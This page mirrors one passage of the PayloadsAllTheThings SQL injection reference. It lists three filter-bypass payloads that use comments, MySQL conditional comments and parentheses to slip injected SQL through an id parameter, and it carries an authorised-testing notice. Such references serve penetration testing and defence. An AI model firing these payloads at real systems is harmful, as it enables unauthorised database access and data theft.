Skip to content

SQL Injection · passage 23 of 186

Bypassing with Comments and Parentheses

Text · SQL Injection/README.md

Out of date: the sync last ran 4 hours ago. Newer CVEs and scores may be missing from the map.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters: | Bypass | Technique | | ----------------------------------------- | ------------------- | | `?id=1/*comment*/AND/**/1=1/**/--` | Comment | | `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment | | `?id=(1)and(1)=(1)--` | Parenthesis |

Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

Updated AboutDevelopersSign in